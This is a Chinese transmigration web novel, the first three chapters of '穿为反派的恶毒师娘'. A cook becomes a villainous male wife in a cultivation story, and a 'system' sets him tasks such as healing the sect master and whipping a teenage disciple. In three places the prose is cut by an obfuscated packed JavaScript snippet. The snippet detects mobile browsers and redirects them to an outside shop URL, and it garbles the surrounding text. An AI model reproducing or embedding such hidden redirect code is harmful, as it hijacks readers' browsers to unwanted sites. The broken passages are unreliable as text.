《穿为反派的恶毒师娘》 1. 开始 仙历三百年,三月芳菲节,木棉花红青山缺,溪边行人水中歇。 沈缨踩进了溪水里,低头看水中倒映的自己。 就在刚才,他还在二十一世纪的某个厨房里准备颠勺。谁知道突然一阵天旋地转,人就不受控地到了这山清水秀的异次元。 所处不是熟悉的时代了,而是一片茫茫四野。 脑海里响起了一阵电子机械音,提醒他眼下的事实: 【滴——宿主沈缨您好,您已穿书,天道系统正在为您服务】 【您现在应该还处在迷茫当中,不介意的话,请容我为您播放一下您人生的前情回顾】 【沈缨,孤儿,人类男性,年龄二十,双商普通;营养不良,不修边幅;颠勺五年,厨艺中上;生平兴趣是研读狗血伦理题材的网文,人生履历平凡无须赘述】 【就在刚才,您于颠勺前在《压倒那个高冷强悍天然呆师尊》的网文底下激情评论,和网友斗完,您拖着长期熬夜的虚弱身体颠大锅,不慎猝死升天了】 沈缨:“……” 【因为您的意识能量十分强大,系统捕捉住了热爱生活的您,把您传送进了您最喜欢的网文里,也就是您飞天前留评的文,以后我们简称该书为《压师》】 【如果您愿意协助我们,完成推动该纸片世界的任务,我们会有丰厚奖励送给您,比如重生、重启。相应的,如果您最终无法完成任务,中途出现积分清零的情况,这将视为合作失败,我们就只能把您传送回现世,届时会根据您完成的任务进度进行必有的补偿,比如增加寿命、财富】 【如果您不愿意,您现在就会回到猝然而终的世界】 溪水潺潺,水中有白鸟的羽毛顺水而下,它们拂过沈缨的小腿,痒兮兮的。 他踢踢水,简单止痒,简单略过自己的一生。 他垂着头:“愿意,愿意愿意。” 【亲爱的小缨宿主,非常感谢您对我们工作的大力支持,现在我们就为您传输《压书》的任务数据,您穿的是您印象最最最深的角色】 数据开始冲刷进脑海,沈缨无暇顾及,还在看水里倒映的自己。 他摸了摸自己的脸,长相还是自己的,但他从没见过自己气色这么好。 他又慢慢地检查自己,细细丈量,用拇指和食指做步子,一步一步估测自己的身量。 沈缨当了五年上岗厨师,他像估量一条鱼、一只羊一样估量自己,得出自己现在大概一米七二,五十五六公斤的结论。 看品相,估整体,是一盘白而不腻,瘦而不柴的好菜。 沈缨称量完自己,穿书后的身体素质比现世好了数倍,没病没灾,他心里好受了点,开始回想《压师》这本小说的主要情节。 他喜欢看些刺激肾上腺素的恋爱文,《压师》是他书单里的一本狗血文,他追了一年整,让他自己概括,就是一本酸甜师徒年下文,狗血淋头爽快解压。 他回顾自己印象最深的角色,觉得肯定是主角师尊受秦戒。 别的先不提,就是被压……算了,算了,当作被口大锅压就是了。 他丧丧地想,死都死过了,被压有什么好怕的?又不会被|草|死。 转念一想,他又想到秦戒中期有了个绿茶道侣,顿时蹿出了火气。 【传输已完毕,恭喜您成功登陆,亲爱的小缨】 沈缨猛回神,试着在识海里对话,很快学会了:“谢谢,亲爱的系统。那我现在是在哪个剧情点?” 【您在出嫁前的剧情】 沈缨:“……你是说我穿成了一个新娘子?” 【是的,您穿成了《压师》的配角沈不寻,也就是主角受秦戒仙师的男妻】 沈缨:“…………” 【目前的剧情点是沈不寻亮相的情节,您正在晴朗谷,这里是沈不寻的出生地】 【两个小时后,秦戒仙师的亲哥,秦尚,即将带着六个人来迎接你,他们将带着你前往主角所在的门派——问天宗,太周山】 沈缨嘴角抽搐起来,抬手盖住了自己的脸。 还以为是柳暗花明又一村,结果是两眼一睁进穷巷。 * 沈不寻,书中设定是顶级治愈系的药修。 沈不寻出场时,主cp师徒俩的感情线大概走了四分之一,首徒攻楚放已经自我攻略到频频做欺师灭祖的梦,并且吃了好几轮的狂醋。 而师尊秦戒在这阶段仍然对自己的首徒毫无情愫,也全无察觉徒弟的变质。 秦戒一心除魔扫恶做好事,他在妖界之乱中救下全族被灭的小狼妖濯沧,收为第二徒,给他改名周无戎; 又在不久后的人界之乱中,救下另一个国破家亡的无名氏人类孤儿,收为第三徒,取名周书成。 接连收了两个背景复杂的徒弟后,这位发散着圣父光辉的仙师也没歇着,前去帮助好友清剿肆虐的魔物,结果遭人暗算受了重伤,如不尽快找到三大灵药,性命都难以保全。 那时主角团来不及寻药,仙盟的最高指挥部门元老台也坐不住了,遥遥传出了指令,让他们到晴朗谷去接一个“人”—— 沈不寻就作为这三大灵药之外的罕见药修,有些浓墨重彩地出场了。 沈缨起初还以为这个角色是妥妥的正派,来做主角们坚实的后勤和助攻的,谁知没过几章,作者就把沈不寻的恶毒、阴险、狡猾、暴力展露无遗。 秦戒因为受伤有求于他,沈不寻直接开口让秦戒娶了他做道侣,之后他借着这重身份狂奔在作妖的路上,间接导致了正派阵营里不少角色的死伤,直接促成了仙盟阵营的动乱和重组。 书里最后才揭示了沈不寻做尽恶毒事的原因,他是人造的“人”,是仙盟的元老台私下搞人体实验的产物。 他是提取一群草木精灵的精华、融合一群修士的优质血脉的三无产品,无父无母无将来,没道没德没下限,却偏偏开了灵智有了灵魂。 像他这样的实验产品有不少,元老台直接安排他们的生死,让他们用途各异地分散四海,为仙盟奉献终身。 但像沈不寻这么能伪装、作妖、心性这么扭曲的没有第二个。他表面小恶,实际内里漆黑一片,不作大恶纯粹因为没有能力。 从头到尾,他都是出于主观意图作恶,也享受作恶。 沈不寻厌恨全世界,见不得任何人好,尤其仇恨仙盟元老台,作妖搞事便是为了破坏仙盟。 主角攻受不知情时被他害过许多次,但明面上被他疗愈过,并且最后整顿仙盟也得到了他的助力,尽管沈不寻根本没想帮他们,只是图自己爽。 正文结局时,散发着圣父光芒的主角受秦戒宽恕了他,觉得从身世上出发,沈不寻也算是个受害者,于是把他前面做的恶事归咎于情有可原,原谅他了。 ……沈缨作为读者原谅不来。 沈不寻做尽馊事,最后居然没有什么惩戒,他做的孽就那么被轻而易举地一笔勾销了。 沈缨看懵了,《压师》正文完结后,他忍不住这口怨气,于是在原著底下怒喷:“这个沈不寻太太太垃圾了,他居然还能苟到大结局?” 他真心实意地觉得,沈不寻没有值得继续苟活的逻辑,他一点也不认同“活着是他的酷刑”的说法。 他在评论区喷了这个角色五千字,和沈不寻的角色粉大战几百回合,把评论区的其他读者惊住了,连作者都下场回复他,承诺安排一个嘎掉沈不寻的番外。 沈缨还等着这个番外。 可现在他穿成了沈不寻……这就非常尴尬了。 * 【还有一个小时,秦尚就要来接沈不寻离开晴朗谷。亲爱的小缨,经过深思熟虑,您还愿意接受任务吗?如果接受不能,友情提醒,您现在还可以作废】 沈缨低头看着泡了许久的双脚,觉得自己像食材,他抓抓头发,蚊子似地小声说:“不作废。” 他不想死,他珍惜活着的机会。 【感谢您,爱您】 沈缨不搭理热情洋溢的系统,臊眉搭眼地从溪水里出来,刚上岸穿好鞋,头上就传来振翅声,抬头一看,是一只仅有手掌半大的小鸽子,小鸟一身雪白,但胸脯前有一簇红羽毛,乍看像是中了箭喷出来的血色。 小鸽子扑扇着翅膀悬在他头顶,迟迟没有离去,沈缨因此有点纳闷,问系统:“这鸟挺可爱,是什么npc吗?” 系统搜索一秒,答:【这是沈不寻的宠物,在原著里,他离开这里的时候把它掐死了】 沈缨皱起左边眉毛,略歪了右边嘴角:“好嘛,不愧是恶毒人设。我应该不需要照搬着杀鸟吧?我不是很想吃烤乳鸽。” 系统过了一会才答复;【经评估,你可以留下小鸟】 沈缨振作了点,于是朝那悬浮不走的小鸽子伸手:“哦咿,哦咿!来我手里,别飞了小傻鸟,你又不是走地鸡,不用这么锻炼肉质。” 小鸽子双翅扇得更快,呼啦啦地围着他飞了几圈,这才落到他手上,俯视着他。 沈缨拢住它掂量:“又小又轻,看来你需要改善伙食。不过你的气势不错,像个视察的小领导。” 小鸽子低头理理胸脯前那蹙红羽毛,而后猛地往下一啄。 “!”沈缨手一抖,立即把它抛了出去,掌心里的血珠都溅了出来。 鸽子呼啦啦地飞到了地上,就停在沈缨脚下,仰起小脑袋看他吃痛地吹手掌,只要他生气了,一脚踩下来,它就扁在地上了。 但沈缨只是迈过堵在跟前的坏小鸟,一溜烟地跑了。 掌心的一点痛觉,是他对这个异世界真正产生身临其境的起始,他开始生龙活虎。 沈缨边跑边问系统:“这什么性格的鸟?!又坏又贱的,随主了,肉质一定不好吃!” 【原著没鸟,查无信息】 “要你何用!” 【嘻嘻】 “……”沈缨更生气了,“馊人机!嘻什么嘻,再嘻我煮你!” 【严肃中】 前方有山坡,沈缨一边叽里咕噜地吐槽一边沿着斜坡爬了上去,站上坡顶后放眼眺望。 他看不清晴朗谷是个什么风景,因为眼泪稀里哗啦地流了下来,一面感叹还活着真好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听话就对了。”青骨替他高兴,从怀里掏出一个东西塞他手里,“我收拾了一乾坤袋的东西,你自己拿好,里面有灵石有法宝,杂七杂八的,希望能有对你有用的。” 沈缨接住了乾坤袋,不知所措起来。 难怪系统说这是“出嫁”的剧情,眼下是真像老父亲嫁儿子。 他被恶寒到了,又很不争气地被青骨的唠叨和赠送暖到了。 他正想问系统以后还能不能回来看青骨,头顶就刮来了一阵强风。 青骨就在这时松开了他的手,惆怅地拍拍他的肩膀,把他轻轻推了出去:“问天宗的秦尚仙君来接你了。” 沈缨被推得向前趔趄一步,紧张得头皮发麻,在识海里语无伦次地和系统汇报:“我完了!我要被大火爆炒了!我要熟了!” 他只是用做饭的火候形容一下自己的感觉,但系统会错意了:【不会的,你不会被炒的,沈不寻原著里没有被压的情节】 沈缨一下子觉得宽慰了不少。 前方种满木棉花树的山路上,站着七个身穿灰袍的挺拔修士,一行人气势如虹,和周围的红树青草显得格格不入。 为首的高大修士快步上前来,严肃地朝他们抱拳:“在下秦尚,见过青骨谷主,这位就是沈道友么?” 青骨回了礼:“见过秦仙君,诸事已经由元老台那边传递下来了,这位就是我晴朗谷的药修沈不寻,他将随同你们前往问天宗,尽绵薄之力疗愈秦宗主。” 秦尚目光如炬地看过来。 沈缨:“嗯……嗯呐。” 秦尚和青骨同时说了一声“事不宜迟”,一个说告辞,一个祝顺利,话音刚落就平地刮起狂风,六只拴着辇车的大仙鹤从天而降,卷起了地上薄薄一层的棉絮。 沈缨被刮得眼睛睁不开,世界模糊中,系统在识海里滴滴作响:【你的任务对象——未来反派周无戎正在向你靠近,已缩至三米距离,第一个主线任务已激活】 沈缨心脏猛跳,费力地睁开了眼睛。 正前方包括秦尚在内七个人,六个成年体魄,一个少年身形,他们都穿着冷色调的灰白道衫,成年人个个形表肃穆,只有一个少年目如星辰。 沈缨第一眼先看到了他。 【您需完成第一个主线小任务:鞭打反派周无戎;该任务目前进度:0/9999】 【每次鞭打奖励:10—1000积分;目前余额:100初始积分】 周无戎和其他人来到沈缨面前,一起恭敬地向他弯腰行礼,恳切地请他上车。低头时,他那戴在脖子上的颈链垂下来,一枚温润的银白狼牙晃了又晃。 正处在反派幼年体的周无戎外形十四五岁,长着一张顶好记住的脸。 纯天然的帅。 卖相很好的一盘菜。 【亲爱的宿主小缨,请遵循原文情节,欺凌、践踏、蹂|躏反派,不遗余力地让反派黑化】 【请您向着完成任务的成功之路上狂奔,务必避免失败领盒饭的结局】 【加油哦】 漂浮在空中的棉絮缓缓掉回了地上,沈缨手抖脚抖地爬上了仙鹤的辇车,他们开始启程。 2. 第 2 章 沈缨钻进辇车刚坐好,秦尚就紧跟着进来了,严肃得像块板砖:“沈道友。” 沈缨立马坐直:“在,您有什么吩咐?” 这位长相和神情都非常严厉肃杀的主角哥在原著里是个给主角团兜底的大爹,虽然一板一眼不通人情,但真遇到事二话不说就第一个上,他一路孤寡到结局,差点战死,最后瞎了一只眼睛。 沈缨看小说时觉得哥爹很靠谱,现在真面对上了,他估计对方有一米八七左右,这么老大一只坐着,身上散发的气场压得他喘不过气来。 大概是感觉到了沈缨的不安,秦尚欲言又止,眼神也犹豫起来,憋出了一句“我去御剑,你别害怕”就闪现出去了。 沈缨呆了呆,脸上有些挂不住,心里嚷嚷,我哪害怕了?我胆子大得很,一开始以为穿成秦戒的时候,我连挨草都不怕呢! 正给自己壮胆,辇车外传来轻敲声,一道不同于秦尚低音炮的清亮少年音传了进来:“沈仙长,我是问天宗弟子周无戎,我灵力低微,御剑不力,我能进辇车来休息吗?” 他说得轻柔且示弱,不像秦尚一照面就浑身散发着“听你爹我的”的霸气。 沈缨不是欺软怕硬,但他的确更喜欢和好说话的人打交道。 “你进来吧!” “那弟子冒昧了。” 辇车开了明显的门缝,周无戎弯腰矮身轻缓地进来,束高的马尾发梢垂了几缕在肩膀,一抬头就朝他歉意地笑:“仙长好。” 他自觉地跪坐在沈缨的下位,沈缨得以俯视他。 系统在沈缨的识海里播放周无戎的人设,不用他提醒沈缨也记得。 周无戎前期是一只乖狼,当然这是他装出来的,后期则是一只癫狗。 他的性格里人性部分少,兽性部分多,在妖界时认同弱肉强食,在人界时认同以牙还牙,在好人堆里学不好,在坏人堆里学得更坏。 沈缨起初看他被恶毒男师娘折磨还是很同情的。 原著里对大反派和恶毒配角之间的描写其实不少,大部分都是纯恨。 直到有一个仙魔交战的片段,周无戎那时彻底入魔,一步入仙盟,脚下即血河,在再走一步、再杀千人的瞬间里,周无戎短暂地想起了对男师娘最初的印象。 在最初到晴朗谷,在刚迎接到沈不寻,在对方还没有折磨他之前——他心里是尊敬过的。那时他认认真真想着,要和未来的师长处好关系。 甚而第一次少年慕艾,也是因为看到师尊和男师娘明面上琴瑟和鸣,因此畅想,自己是否也能在这芸芸众生当中,找到一个属于自己的道侣。 可惜男师娘撕毁了他对人界的情感渴望,于是他也就懒得捡回自己所剩无几的人性和人情,转头下坠,永不上岸。 沈缨看到这里的时候真心觉得他有点可怜。 ……紧接着就看到这家伙杀了他第二喜欢的角色! 他被气得从床上摔下来,周无戎一下子晋升为他第二讨厌的角色。 不过恶有恶报,周无戎最后被攻受镇压在魔界的尽头,退化成了一只失去灵智的野生狼,沈缨的怨气就消失了,剩下的只有惆怅。 这股惆怅现在还停留在沈缨的心里。 他看着乖狼阶段的周无戎跪坐在面前,看起来就和他差不多高,还是青少年模样,一时不知道该说什么好。 原著不会详写配角出场奔向主角的路上发生了什么,他们现在处在原著的留白处,连系统都鼓励沈缨可以自由发挥,可他也不知道怎么发挥。 好在没安静多久,周无戎比他主动,微抬起头来同他说话:“沈仙长,长路漫漫,弟子生性聒噪,想与您说说话,打发这一路时间,您介意吗?” “不介意。” “您从来没有去过问天宗,可否让弟子为您介绍一下?” “好,你说。” 周无戎便开始仔仔细细地说起太周山,他一直微仰着头,让沈缨看得到他脸上的神情,不时和他对视一眼,每一眼都含笑,有小心的讨好,更多的是敬重。 沈缨努力配合着太平相处,不时点点头,问两句秦戒的情况,周无戎的语气便露出急切,距离秦戒把他从妖界救出来带回问天宗才过去不久,他此刻真心实意地希望有人去救一救他那昏死不醒的师尊。 因此他看着沈缨的眼睛很亮。 沈缨的紧张和不安渐渐消失,取而代之的是别样的感受,他问系统:“我真的一定要暴打他9999下吗?” 【是哒,亲爱的小缨,这里是纸片世界,他是纸片人,是虚拟的】 “这么说也是……” 【你看到的是一张张纸片,包括周无戎在内,都只是设定好的角色】 周无戎甚至比不了他起锅烧油前准备的食材。 他只是信笔敲打出的一个虚拟符号而已。 * 六鹤辇车是一架出行法宝,身处其中的人,经历的时间流速比外界快百倍。从晴朗谷赶往太周山耗费了七天,御剑护航的秦尚还耽误了半天功夫,把路上遇到的魔物邪修杀干净,坐在车内的人对此一无所知。 秦尚刚把本命剑上的魔血擦去,就见到他的狼崽师侄从辇车里出来了。 “大师伯,你们遇到危险了吗?” “没事,里面的沈道友怎么样?” 秦尚御剑过去问话,仙盟的元老台让他来接沈不寻时,说沈不寻天生药修圣体,幼年时曾被不善的散修抓去做惨绝人寰的冶炼,后来逃出来,阴差阳错被晴朗谷收留。 现在秦戒重伤垂死,元老台情急之下把他请出晴朗谷,提议以后由问天宗收留和庇护他,且最好将他的药修身份保密。 秦尚自然同意,他只求赶紧来一个大罗神仙救他倒霉弟弟。 现在大罗神仙接到了,他半松了口气。 只是秦尚第一眼看到沈不寻就察觉他修为中下,又是一副呆头呆脑、任人摆弄的小可怜模样,心里陡生了犹豫,怀疑沈不寻不管是藏在晴朗谷、还是要到问天宗去,都是别人命令他的去留,不是出于他个人的意愿。 他试图问他两句,然而天生长着一张凶脸,又不善言辞,还没说话就吓到人,只得出来让别人进去,想着狼崽师侄比他年轻,比他长得乖,比他会说话,肯定能把沈不寻安抚了。 果然周无戎没让他失望。 “沈仙长是自愿到问天宗去的,也愿意今后留在太周山内,做内门修士。”周无戎眼睛明亮,“他还向我解释他是如何施展疗愈的,大师伯,弟子相信他一字不虚,师尊一定有救的。” 秦尚长松一口气,拍了拍他的肩膀:“无戎,他看起来不太喜欢我接近,既然他不抵触和你相处,回到太周山后,就先由你照顾他如何?” 周无戎愣了一下:“我?” “对,你。倘若你大师兄撑得住,我便让他去负责沈道友的起居衣行,可你大师兄顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195342|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着照顾你师尊,让他去做别的事也不肯。”秦尚摇了摇头,“你心思细腻,又是小辈,沈道友在你面前才不会过于拘谨和忧惧。” 周无戎没有愣神太久,立即抱拳点头:“是,弟子一定侍奉好沈仙长。” 周无戎到问天宗的时间仅有三个多月,秦戒收他为徒后只管放养,他却不敢放下心,一直想为问天宗做点什么有用的事,生怕自己没有用处,稍有不慎就不被收容。 现在秦尚交个差事给他,他求之不得。 再说了,他觉得他挺好相处。 柔弱,怯懦,嘴硬,心软。 脸中看,脖子纤细,很好咬的样子。 秦尚也如释重负,又问:“你觉得他是什么性子?” 他想着,在他面前夹着尾巴,在小辈面前应该不至于吧。 随后就听到小辈回答:“弟子不敢妄议沈仙长,不过他说,以后可称呼他为沈缨,这才是他的本名。” “苍鹰的鹰?” “冠缨的缨。” “观音?” 长相确实好看。 待狼崽师侄比划了缨字,秦尚才知道是这个字,点头不语。 周无戎想得多,一下子想得遥远,琢磨着大师伯是不是想娶个道侣,紧接着又觉得自己多心了。 * 沈缨感觉没坐一会儿就到站了,周无戎才从眼前离开片刻,就又听到他轻敲车门,温声细语地告诉他太周山到了。 沈缨还没把怀里的乾坤袋掏出来看看里面有什么“嫁妆”,一听到地方了,赶紧把东西塞回去,钻出辇车一看,哦豁—— 一大片穷山僻水。 原著里的沈不寻一知道自己要来问天宗就不高兴是有理由的,无他,穷得卖裤衩。 沈缨倒是觉得亲切了,问天宗如果是那种被作者用浮夸的言辞吹嘘得钟灵毓秀、世外桃源,那他在看小说的时候就压根代入不了。 他之所以这么喜欢《压师》,穷,也是一个很大的共情点。 周无戎一直在密切地关注着他,搀他下车后,脸上出现了一点赧然,大概也觉得自家宗门太破落了:“沈仙长,我们宗门……” “我知道,没关系的。”沈缨摆摆手,“人穷志不短。” 竖着耳朵的秦尚:“……” 很快严肃的秦尚:“沈道友,这边请。” 沈缨也严肃了:“走,我们快去见秦宗主!” 秦戒,他最喜欢的主角,眼下正躺在病床上等他,他要赶紧去拯救他的电子儿子。 他还要撮合他们搞瑟瑟呢。 一旁的周无戎自觉御起了一把灵剑:“沈仙长,您到这来。” 沈缨一抬腿就上去了。 秦尚立即御剑飞在前面带路,风呼呼地吹,沈缨站在周无戎身后,脚下踩的灵剑宽得超过一米五,他都快能躺下去了,这大大减少了他的恐高。 他往底下瞅,灵剑飞过一个个穷山头,最后在一个稍微有点植被的山峰落下。 灵剑下降,沈缨看着地面将近便想跳下去,被周无戎伸手拦了:“您当心。” 他抬头一眼,发现周无戎咬着自己的马尾发梢,刚才飞了一路,他大概是担心风把自己的头发吹起来,刮到沈缨脸上去。 周无戎低眉顺眼,轻声道:“沈缨仙长,师尊就在洞府内,拜托您了。” 沈缨愣了愣,突然忍不住心想,小狼妖这阶段也太乖了。 3. 第 3 章 沈缨跟着秦尚走进简朴的洞府,周无戎则跟在他背后,秦尚宽阔的后背挡住了他的视线,进到深处,只见这位哥爹闪了进去,快得只有虚影。 “楚放!你在干什么?师伯带救兵回来了,你别添乱!” 秦尚抓着个血迹斑斑的少年人大声训斥。 沈缨的注意力则完全被洞府内的光幕吸引去了,一个昏迷的重伤病人被白光包裹着漂浮在半空中。 他头脑发热地跑到光源面前瞪大眼,光幕里的人平躺着,高度在他胸膛处,裹在浮光里的青年大概一米八三,鼻挺唇薄,俊秀清冷,此时他衣冠整洁地漂浮在光幕里,像是睡死了。 这就是《压师》的主角。 秦戒这冷冰冰的二字,一下子从图腾具现成一个活人。 沈缨无法表达他此时满心汹涌的情绪,因为他是孤儿,他自然无法形容,这种类似“找到家人”的感觉是一种什么感受。 他流出眼泪来,和系统嚷嚷:“我的眼睛好像被两斤洋葱熏到了!” 系统报之以任务:【亲爱的小缨,恭喜你与本书第一主角秦戒接触,第二个主线任务已激活:治愈秦戒,保他不死;此次治愈奖励:99万积分】 沈缨震惊:“万?!” 系统放烟花:【是的,99万积分。每个角色的生命值按百分计,积分和生命值1:1万兑换,目前秦戒的生命值只有1,至于亲爱的小缨你,目前生命值满分100】 沈缨明白了:“那我待会治愈秦戒的时候会耗费生命值吗?” 【会,生命值降到50时我会主动提醒亲爱的你,原著里的沈不寻生命值最低时就是50】 【不过请放心,你耗费的生命值能在后面缓慢地自然恢复,只有低于15,才建议用积分兑换;低于2的时候,我则会强制进行兑换,以保证你的生命】 沈缨很快想好进度:“那我先试试把秦戒的生命值拉高到30,你帮我看看我会减少多少。” 【好哒,爱你】 他定回神,只听不远处的秦尚一边抓着楚放骂,一边伸手往洞府里的一件青铜鼎施法:“通天鼎,关!” 一瞬之间,洞府里的空间磁场明显地扭曲了,裹在秦戒身上的白光缓缓消失。 沈缨离得近,连忙伸手想接人,身后寸步不离的周无戎快他一步,施法定住了下落的秦戒。 秦尚关了那通天鼎后心急如焚:“沈缨!拜托你救我弟弟了!无戎,你在一旁护卫,我还得救你师兄这拎不清的混账东西!” 周无戎应了声是,靠到沈缨旁边歪头看他:“沈仙长,您准备怎么来?” “我先抓一抓你师尊的手。” 沈缨说罢正气凛然地伸手,一把握住了秦戒苍白的手腕。 碰到他的瞬间,沈缨身上散发出了十来道泛着荧光的银丝,丝丝缕缕地缠到了秦戒的身上。 刚才在六鹤辇车里,沈缨就拿周无戎去试这个治疗技能,周无戎身上本来就有未痊愈的内伤,是他不久前全族被灭时遗留的伤,至今没好,正适合练手。 操作起来比沈缨想象中的简单多了,他只是简单地用指尖贴住周无戎的手背,气沉丹田运转体内的灵力,很快就催生出了疗愈他人的银丝。 周无戎就双眼明亮地看着他。 刚才只是浅浅一试,现在他要全力以赴,就好比有条件做满汉全席,他就不想只烧家常菜。 原著里写过,沈不寻可以轻而易举地通过肢体接触治疗任何伤患,但从来不会尽力,每次都留力,光是开场疗愈秦戒这段剧情,在书里就花了两个月时间。 沈缨很快就觉得只握着秦戒的手腕不够施展,他想扩大和他的接触面积,看看能不能弄出更多的银丝传到他身上去。 他干咳两下:“我……我想试试抱住你师尊。” 周无戎顿了顿:“好的。” 周无戎手势一变,把施法定在空中的秦戒放回病床上,守在一边,看沈缨略带僵硬地去抱住他。 沈缨比他师尊矮小,与其说是抱,不如说是靠。 他看着沈缨叠到秦戒胸膛上,瞬间想到他那几根手指贴在他手背上时的触感。 小心翼翼的,带来隔靴搔痒的舒服。 手背忽然痒了。 “呃啊……” 周无戎被沈缨努力作法的吭哧声召回神,看到沈缨身上突然爆发出成百上千缕银丝,流淌着浮光争先恐后地缠住秦戒。 他瞳孔骤缩,被这瑰丽的场景震住。 秦戒身上的衣物是问天宗特有的灰白道衫,冷色冷清。 沈缨不然,他穿着暗红色的衣衫,额头上束着同色的发带,发绳也用红丝,整个人和晴朗谷的木棉花色调一样,暖色流温。 周无戎第一眼看到他的时候就觉得鲜艳,只是沈缨没什么气场,不太能压得住那颜色,浓墨重彩的眉目之间却透露着一股精致的窝囊。 直到现在他才压得住了。 此刻他紧紧靠在灰色的秦戒身上,用自己的红色去驱散秦戒的苍白,流光溢彩,浓艳非凡。 周无戎直勾勾地看着,想到春蚕,化丝作茧,想到春泥,落红滋养大地。 最后他想到如果自己和师尊异地而处,此刻沈缨的所有银丝缠绕的是他,那该会有多舒服。 直到他看到秦戒眉间突然一皱,所有的胡思乱想才作罢——他师尊睁开眼睛了。 * 【秦戒生命值已升到30,29万积分已到账,目前余额:29.01万积分】 【亲爱的小缨,你的生命值已降到40,建议休息,劳逸结合哦】 沈缨眼前发黑:“好好好……乖乖,总算达标了……你再不喊停我也要歇菜了……” 他赶紧松开秦戒,一脱离和他的肢体接触,身上的银丝就熄了火,袅袅地在空中淡化直至消失。 他想站起来,结果两腿无力,累得想瘫到地上去趴着。 “沈仙长!” 胳膊被搀住了,沈缨眼冒金星地搭住,赶紧顺势靠一靠,浑身头重脚轻的,感觉脑袋沉得要砸到地上,这时周无戎伸手来托住他下巴。 犬科动物的手热得很。 沈缨脑袋里嗡嗡叫,耳边也听不太清,休息了好一会儿才看清眼前的世界。 一抬头,就跟一双灰色的眼睛对视上了。 苏醒过来的秦戒满脸茫然地看着他。 “!!” 沈缨一下子激灵了,伸手指着他大叫:“哦咿!” 纸片儿子活过来了! 秦戒更茫然了,眉头都轻轻皱了起来,呆呆地看着他。 另一边,秦尚拎着收拾好的楚放火急火燎地过来,人高马大地杵着,惊喜且无措,左一句追问秦戒怎么样,右一句追问沈缨怎么样。 倒是他手里拖着的少年人目标明确,嘴边的血迹都没擦干净,就奋力地扑到秦戒的病床前大喊:“师尊,师尊!你怎么样?你还好吗?你看看徒儿,你还认得出徒儿是谁吗?” 沈缨一看这架势就乐了。 没想到有一天居然能看到自己磕的纸片cp活过来,还在他眼前鲜活地腻腻歪歪。 这冲击力太强,他都没发现托着他下巴的手不留痕迹地撤了。 “沈仙长,您现在还难受吗?” 沈缨的傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195343|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑收了回去:“哦哦,我没事。” 他借着周无戎搀着他的手臂,奋力从地上站了起来。 秦尚冲他道了声谢,声音都激动得颤抖:“沈道友……大恩不言谢,我兄弟二人没齿难忘,必当对君涌泉相报。” 说罢又去扯开楚放,训斥他清静点。 沈缨又乐了,心想哥爹太搞笑了,说了个谢谢又说大恩不言谢。 他继续打量秦戒,不自知地糊上了一层滤镜,秦戒还虚弱着,本来人设就是高冷天然呆,现在一脸摸不着头脑的迷茫样,看着更呆了。 秦戒看了秦尚一会,点了两下头,眸光转移到周无戎身上,周无戎立即半跪行礼,他又略点了一下头,而后才抬起青筋毕露的手,推开快要挤到他跟前的楚放的脸。 他那双灰色的眼睛又落到了沈缨脸上,看他额头上绑着发带,视线一直停留。 沈缨也不知道他在发什么呆,看他呆就觉得可爱,完全忽视了秦戒比他高大十来公分。 额头上的发带只是他在晴朗谷出发时随手绑上的,习惯使然。他做厨子打工时,身体很容易流汗,一流就满脸,为避免头上的汗水流进眼睛里,他就绑块吸汗的发巾,久而久之习惯这样,额头要是空空的,他心里就慌慌的没着落。 秦戒发完了呆,看向他的眼睛,声音嘶哑地轻问:“你是谁?” 沈缨马上挺起胸膛来介绍自己,身体是累的,声音是雀跃的:“我叫沈缨,秦宗主,我是你大哥叫来治疗你的药修。” “沈缨?”秦戒重复念他的名字,半晌才像是反应过来,“你救了我……多谢。” 一直黏在病床前的少年人一听这话,眼里终于有除了他师尊以外的人,转头来向沈缨道谢:“多谢沈前辈救我师尊之恩!” 沈缨刚才就想一睹《压师》的逆徒攻长个什么屌样,现在正主终于让他瞧清楚了。 这位名叫楚放的首徒人如其名,十七八岁的模样,俊朗得灼人,脸上仿佛刻着张扬两个字。此刻他一身的狼狈,浑身血迹斑驳不说,眼角耳边嘴角都有血渍,是刚才使用那个叫通天鼎的法宝的后遗症。 但狼狈至此,他从头到脚都阳光灿烂,神采飞扬,活力满满得过了头。 沈缨心里“咿”了一声,下意识转头瞄了一眼周无戎,心想到底谁才是犬科啊? 周无戎正站在落后他半步的距离,一瞬感觉到他在看他,抬头便朝他弯了笑眼。 沈缨心里马上有了对比,楚放现在特别像一条没栓绳的大型犬,周无戎这只真狼狗和他对比起来乖得没边。 这时系统欢快地叮咚一声:【恭喜您和主角攻受正式见面,已激发第三个主线任务】 沈缨顿时大叫不好:“啊啊啊啊你不要这么快就提!让我多磕一会cp不好吗!!” 【第三个任务:和秦戒结婚,做他的男妻,助推攻受的感情线】 【任务奖励:999积分】 沈缨哀嚎:“不是吧人机!这么搞就算了,这次积分怎么这么少?” 